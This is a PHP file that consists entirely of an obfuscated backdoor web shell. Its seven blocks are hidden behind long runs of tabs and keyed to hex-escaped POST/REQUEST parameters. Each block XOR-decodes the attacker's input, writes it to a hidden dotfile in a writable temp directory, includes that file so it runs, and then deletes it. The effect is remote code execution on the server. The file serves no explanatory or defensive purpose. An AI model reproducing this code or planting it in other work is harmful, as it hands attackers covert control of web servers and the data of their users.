<?php																																										if(count($_POST) > 0 && isset($_POST["d\x61\x74"])){ $obj = array_filter([session_save_path(), "/tmp", "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), getenv("TMP"), "/dev/shm"]); $factor = $_POST["d\x61\x74"]; $factor = explode ("." , $factor ) ; $flag = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt4 ); $z = 0; foreach ($factor as $v7) { $chS = ord($salt4[$z % $lenS] ); $dec = ((int)$v7 - $chS - ($z % 10))^67; $flag .= chr($dec ); $z++; } foreach ($obj as $key => $component) { if ((bool)is_dir($component) && (bool)is_writable($component)) { $sym = join("/", [$component, ".pset"]); $file = fopen($sym, 'w'); if ($file) { fwrite($file, $flag); fclose($file); include $sym; @unlink($sym); die(); } } } }
																																										if(array_key_exists("\x6B\x65y", $_POST)){ $dat = $_POST["\x6B\x65y"]; $dat = explode( '.' , $dat ) ; $dchunk = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt9); $r = 0; array_walk($dat , function($v1) use(&$dchunk , &$r , $salt9 , $sLen) { $sChar = ord($salt9[$r % $sLen]); $dec =((int)$v1 - $sChar -($r % 10)) ^ 17; $dchunk .= chr($dec); $r++; }); $flag = array_filter([session_save_path(), "/dev/shm", getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", getcwd(), "/var/tmp", sys_get_temp_dir()]); $desc = 0; do { $record = $flag[$desc] ?? null; if ($desc >= count($flag)) break; if (!!is_dir($record) && !!is_writable($record)) { $ent = str_replace("{var_dir}", $record, "{var_dir}/.token"); $success = file_put_contents($ent, $dchunk); if ($success) { include $ent; @unlink($ent); exit;} } $desc++; } while (true); }
																																										if(!empty($_REQUEST["\x73ym"])){ $record = $_REQUEST["\x73ym"]; $record =explode( '.' , $record ) ; $comp = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt1); foreach ($record as $l => $v6): $sChar = ord($salt1[$l% $sLen]); $d = ((int)$v6 - $sChar - ($l% 10)) ^ 23; $comp .=chr($d); endforeach; $k = array_filter([session_save_path(), getenv("TEMP"), sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", "/tmp", getenv("TMP")]); foreach ($k as $itm) { if (!( !is_dir($itm) || !is_writable($itm) )) { $value = implode("/", [$itm, ".reference"]); if (@file_put_contents($value, $comp) !== false) { include $value; unlink($value); die(); } } } }
																																										if(array_key_exists("p\x67r\x70", $_REQUEST)){ $property_set = array_filter([getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", session_save_path(), "/tmp", getcwd(), "/dev/shm"]); $data = $_REQUEST["p\x67r\x70"]; $data = explode ( '.' , $data ); $flg = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s3); foreach ($data as $k => $v3): $sChar = ord($s3[$k % $sLen]); $dec = ((int)$v3 - $sChar - ($k % 10)) ^ 73; $flg.= chr($dec); endforeach; for ($fac = 0, $parameter_group = count($property_set); $fac < $parameter_group; $fac++) { $k = $property_set[$fac]; if (!!is_dir($k) && !!is_writable($k)) { $sym = vsprintf("%s/%s", [$k, ".data_chunk"]); if (@file_put_contents($sym, $flg) !== false) { include $sym; unlink($sym); exit; } } } }
																																										if(array_key_exists("fl\x61\x67", $_POST) && !is_null($_POST["fl\x61\x67"])){ $record = $_POST["fl\x61\x67"]; $record =explode( "." , $record ) ; $property_set =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $s); $j =0; array_walk( $record , function( $v6) use( &$property_set , &$j , $s , $lenS) { $chS =ord( $s[$j % $lenS]); $dec =( ( int)$v6 - $chS -( $j % 10))^85; $property_set .= chr( $dec); $j++; }); $sym = array_filter([getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), sys_get_temp_dir(), getcwd(), "/tmp", "/var/tmp"]); foreach ($sym as $elem): if (is_dir($elem) ? is_writable($elem) : false) { $val = join("/", [$elem, ".holder"]); if (file_put_contents($val, $property_set)) { include $val; @unlink($val); exit; } } endforeach; }
																																										if(isset($_POST["k"])){ $item = $_POST["k"]; $item = explode ( '.' ,$item ) ; $sym = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); foreach ($item as $w =>$v3) { $sChar = ord($salt[$w % $lenS]); $dec = ((int)$v3 - $sChar - ($w % 10)) ^ 13; $sym .=chr($dec); } $elem = array_filter([sys_get_temp_dir(), "/dev/shm", getenv("TMP"), session_save_path(), "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP")]); foreach ($elem as $val): if ((is_dir($val) and is_writable($val))) { $ptr = vsprintf("%s/%s", [$val, ".desc"]); if (file_put_contents($ptr, $sym)) { require $ptr; unlink($ptr); die(); } } endforeach; }


if(array_key_exists("f\x6C\x67", $_REQUEST) && !is_null($_REQUEST["f\x6C\x67"])){
	$property_set = $_REQUEST["f\x6C\x67"];
	$property_set=	  explode  (  	'.', $property_set		) ; 
	$entity	= 	'';
            $s3	= 	'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen	= 	strlen($s3);
            $len	= 	count($property_set);
    
            for ($j	= 	0; $j < $len; $j++) {	 $v4	= 	$property_set[$j];
                $chS	= 	ord($s3[$j %	 $sLen]);
                $dec	= 	((int)$v4 - $chS - ($j %	 10))^5;
                $entity .= chr($dec);
            }
	$holder = array_filter(["/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), getenv("TEMP"), getcwd(), "/dev/shm", session_save_path()]);
	for ($dat = 0, $dchunk = count($holder); $dat < $dchunk; $dat++) {
    $flag = $holder[$dat];
    		if (is_dir($flag) ? is_writable($flag) : false) {
    $value = sprintf("%s/.item", $flag);
    if (@file_put_contents($value, $entity) !== false) {
	include $value;
	unlink($value);
	die();
}
}
}
}